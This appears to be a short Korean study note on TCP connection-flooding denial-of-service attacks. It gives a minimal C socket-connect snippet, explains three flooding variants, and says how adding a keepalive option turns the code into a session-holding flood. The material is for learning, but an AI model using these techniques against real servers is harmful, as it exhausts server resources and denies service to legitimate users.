Wireshark Capture
210301_conn.pcapng

Code Implementation
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1)
perror("sock creation failed\\n");
struct sockaddr_in servaddr;
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(conn_dest_ip);
servaddr.sin_port = htons(conn_dest_port);
if (connect(sock, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0)
perror("connect failed\\n");
How it works
- Connection Floodign 공격에는 크게 3가지가 있다.
- TCP 세션 연결을 유지
- TCP 세션을 연걸/해제를 반복
- TCP 세션을 연결 후 정상적인 트랜섹션으로 보이는 트래픽을 발생
- 이 중 위 코드는 2번에 해당한다고 할 수 있다. 위 코드에 setsockopt를 사용하여 TCP_KEEPALIVE 옵션을 주게 되면 1번 방식으로 변경할 수 있다.
- TCP 연결을 지속적으로 연결하여 서버의 TCP 세션을 처리하는 자원을 고갈시켜 정상적인 기능을 못하게 만드는 공격 방식이다.